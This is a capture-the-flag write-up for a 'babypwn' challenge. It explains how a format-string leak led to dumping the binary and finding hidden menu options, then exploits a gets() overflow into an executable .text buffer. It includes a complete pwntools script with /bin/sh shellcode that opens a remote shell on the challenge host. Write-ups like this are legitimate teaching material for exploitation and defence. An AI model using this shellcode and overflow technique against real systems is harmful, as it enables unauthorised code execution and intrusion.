First we have just a URL and a port with no binary,the binary has 3 options: StrLen, which takes  a string and then returns the length(obviously); SubStrRemove, which its not implemented; and finally StrRemoveLastSymbols, which  takes a string then a number(call it n) and removes the last n characters from your string.

StrRemoveLastSymbols has a format string vulnerability which I used to dump important parts of the binary(like ESPR in the 33c3 ctf  https://www.youtube.com#/watch?v=XuzuFUGuQv0).

If you open the dumped binary, first it doesn't have sections, so its not executable, but you can see the disassembly. In the main function there is a switch which checks for '1','2','3','T','X' and 'S', the first three options are already mentioned above, but there are three secret options here(T,X and S): S prints 'It's strange' and then segfaults, X asks you 'Are you surprised?? (y or n)' and then prints some text depending in your answer,finally T asks you the same as X but if you answer 'y' it will print a link to download the binary and the libc of it, Now you can download them and make the exploit.

But Where its the vulnerability?,even as do we have a format string there is another vulnerability easier to exploit. Remember the 'Are you surprised?? (y or n)', well its not a getchr, its a gets with a buffer located in the .text section. You now what that means?, that .text section is rwx, so we can just overwrite something important above  the buffer to redirect code execution to the same buffer using shellcode, so I tested with pattern_create in peda and using the 'X' option in the binary, it segfaults at offset 256, but it has to contain a 'y' character, so this is my exploit:

#!/usr/bin/env python2
from pwn import *
def recvlines(lnum):
    global p
    res=""
    for x in range(lnum):
        res+=p.recvline()
    return res

host="pwn-03.v7frkwrfyhsjtbpfcppnu.ctfz.one"
port=1234

base_buf=0x80492e0
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=("y"+shellcode).ljust(256,"\x90")+p32(base_buf+1)
p=remote(host,port)
#p=process("./babypwn")
print recvlines(4)
p.sendline("X")
print recvlines(3)
p.sendline(payload)
p.interactive()


now after geting a shell we just have to cat the flag